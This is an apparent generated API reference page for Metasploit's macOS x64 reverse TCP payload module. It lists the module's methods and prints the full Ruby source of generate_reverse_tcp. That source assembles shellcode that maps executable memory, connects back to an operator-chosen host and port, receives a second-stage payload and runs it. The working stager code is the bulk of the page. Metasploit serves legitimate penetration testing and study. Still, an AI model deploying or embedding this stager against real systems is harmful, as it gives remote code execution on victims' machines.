Module: Msf::Payload::Osx::ReverseTcp_x64

Includes:
SendUUID_x64, Stager, TransportConfig
Defined in:
lib/msf/core/payload/osx/x64/reverse_tcp_x64.rb

Overview

Complex reverse_tcp payload generation for OSX ARCH_X64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Attribute Summary

Attributes included from Stager

#stage_arch, #stage_platform, #stage_prefix

Instance Method Summary collapse

Methods included from SendUUID_x64

#asm_send_uuid

Methods included from Stager

#assembly, #encode_stage, #encode_stage?, #encode_stage_preserved_registers, #format_uuid, #generate_stage, #handle_connection, #handle_connection_stage, #handle_intermediate_stage, #offsets, #payload, #payload_type, #sends_hex_uuid?, #stage_assembly, #stage_offsets, #stage_over_connection?, #stage_payload, #transport_config

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#generate_reverse_tcp(opts = {}) ⇒ Object

Generate and compile the stager



34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
 
# File 'lib/msf/core/payload/osx/x64/reverse_tcp_x64.rb', line 34

def generate_reverse_tcp(opts={})
  encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
  encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
  retry_count = datastore['StagerRetryCount']
  seconds = datastore['StagerRetryWait']
  sleep_seconds = seconds.to_i
  sleep_nanoseconds = (seconds % 1 * 1000000000).to_i

  stager_asm = %(
  ; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
  push 0
  pop rdi
  push 0x1000
  pop rsi
  push 7
  pop rdx
  push 0x1002
  pop r10
  push 0
  pop r8
  push 0
  pop r9
  push 0x20000c5
  pop rax
  syscall
  jb failed

  mov r12, rax
  push 0
  pop r10
  push #{retry_count}
  pop r11

socket:
  ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
  push    2
  pop     rdi              ; rdi=AF_INET
  push    1
  pop     rsi              ; rsi=SOCK_STREAM
  push    0
  pop     rdx              ; rdx=IPPROTO_IP
  push    0x2000061
  pop     rax
  syscall
  jb retry

  ; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
  mov     rdi, rax
  mov     rax, 0x#{encoded_host}#{encoded_port}
  push    rax
  push    rsp
  pop     rsi
  push    16
  pop     rdx
  push    0x2000062
  pop     rax
  syscall
  jb retry

#{asm_send_uuid if include_send_uuid}

  ; recvfrom(sockfd, addr, 0x1000)
  mov rsi, r12
  push 0x1000
  pop rdx
  push 0x200001d
  pop rax
  syscall
  jb retry

  call r12

retry:
  dec r11
  jz failed

  push 0
  pop rdi
  push 0
  pop rsi
  push 0
  pop rdx
  push 0
  pop r10
  push   0x#{sleep_nanoseconds.to_s(16)}
  push   0x#{sleep_seconds.to_s(16)}
  push rsp
  pop r8
  push 0x200005d
  pop rax
  syscall
  jmp socket

failed:
  push   0x2000001
  pop    rax
  push   0x1
  pop    rdi
  syscall ; exit(1)
  )

  Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



27
28
29
 
# File 'lib/msf/core/payload/osx/x64/reverse_tcp_x64.rb', line 27

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse_tcp specific options



19
20
21
 
# File 'lib/msf/core/payload/osx/x64/reverse_tcp_x64.rb', line 19

def initialize(*args)
  super
end